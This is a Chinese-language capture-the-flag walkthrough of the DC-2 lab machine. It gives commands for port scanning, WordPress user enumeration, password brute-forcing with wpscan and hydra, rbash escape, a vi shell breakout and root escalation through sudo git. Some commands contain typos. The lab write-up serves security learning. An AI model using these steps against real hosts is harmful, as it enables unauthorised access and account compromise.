信息收集
kali ip
主机发现
靶机地址为 192.168.37.135
端口探测
nmap -sV -sS -p- 192.168.37.135
可以看到靶机开放了80端口 和7744端口 且7744服务为ssh
先访问一下80端口
本地访问不了 会自动跳转到DC-2 应该是给重定向了
修改一下hosts文件
windows在 C:\Windows\System32\drivers\etc下 Linux在 /etc/hosts下
修改后访问靶机80端口
flag1
点击falg 进入网页发现flag1
flag2
这里提示我们需要使用cewl 工具 :你常用的单词表可能不起作用,所以,也许你只需要celw。
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
cewl http://dc-2 -w password.txt
密码字典有了 现在来找一下登录框
用dirsearch扫描一下目录
访问一下这个目录
这里我们网站和密码字典都有了还需要账号
这里需要用到一款漏洞扫描工具 wpscan
补充:
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能
wpscan --url http://dc-2 --enumerate u --fore --enumerate | -e [option(s)] 枚举信息 --force | -f 强制让wpscan不要验证目标是否是wordpress u 枚举用户名,默认从1-10
这里扫描出来三个用户 :admin tom jerry
将这三个用户保存到username.txt
使用wpscan 进行爆破账号密码
wpscan --url http://dc-2/ -U username.txt -P passwd.txt --username | -U <username> 指定爆破的用户名
这里暴出了两组密码
直接登录
这里就找到flag2
flag 3
提示:“If you can’t exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.”
如果你不能利用WordPress并走捷径,还有另一种方法。希望你能找到另一个切入点。
这里大概就是说wordpress 找不到其它东西了 提示我们寻找另一个切入点
前面还有7744端口的ssh
这里用上面爆出来的账号和密码去尝试登录ssh
ssh@tom 192.168.37.135 -p 7744 ssh@jerry 192.168.37.135 -p 7744
这里只有tom账户登录上去了
也可以使用hydra 进行爆破
hydra -L username.txt -P password.txt 192.168.37.135 ssh -s 7744 -L 指定用户字典 -P 指定密码字典 -s 指定端口
ls 查看当前目录下的文件发现有flag3.txt 使用cat flag.txt 查看一下
发现命令没办法用 被“rbash”限制了
方法一 rbash 绕过
查看环境变量
echo $PATH
使用echo 来绕过rbash
BASH_CMDS[a]=/bin/sh;a export PATH=/bin:/usr/bin:$PATH export SHELL=/bin/bash:$SHELL
cat 查看flag3.txt
可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。
方法二 查找可用命名
查看可以使用的命令
ompgen -c
这里有一个vi 我们可以用vi编辑器查看flag3.txt文件
vi flag.txt
flag4
方法一 接上面的方法一
切换到jerry的目录下看看有什么东西
这里有个flag4.txt cat查看一下
大概意思是:很高兴看到你已经走了这么远,但你还没有到家。您仍然需要获得最后的标志(惟一真正有意义的标志!!)。这里没有提示——你现在只能靠自己了。
方法二vi提权 接上面方法二
vi可以用 有一个vi提权
vi 随便打开一个文件 按esc后 再下面添加
先输入:set shell=/bin/sh 再输入 :sehll
部分提权成功
切换到jerry 用户目录下ls查看里面的文件
发现flag4.txt
vi 打开flag4.txt
很高兴看到你已经走了这么远,但你还没有到家。您仍然需要获得最后的标志(惟一真正有意义的标志!!)。这里没有提示——你现在只能靠自己了。
flag5
方法一
切换到jerry用户
这里要用到git提权
查看不需要密码可以使用的命令
sudo -l
1、sudo git help config #在末行命令模式输入 !/bin/bash 或 !'sh' #完成提权 2、sudo git -p help !/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
提权成功
切换到root文件夹ls查看发现final-flag.txt 查看final-flag.txt
方法二
先进行rbash绕过 然后su 切换到jerry用户 再进行git提权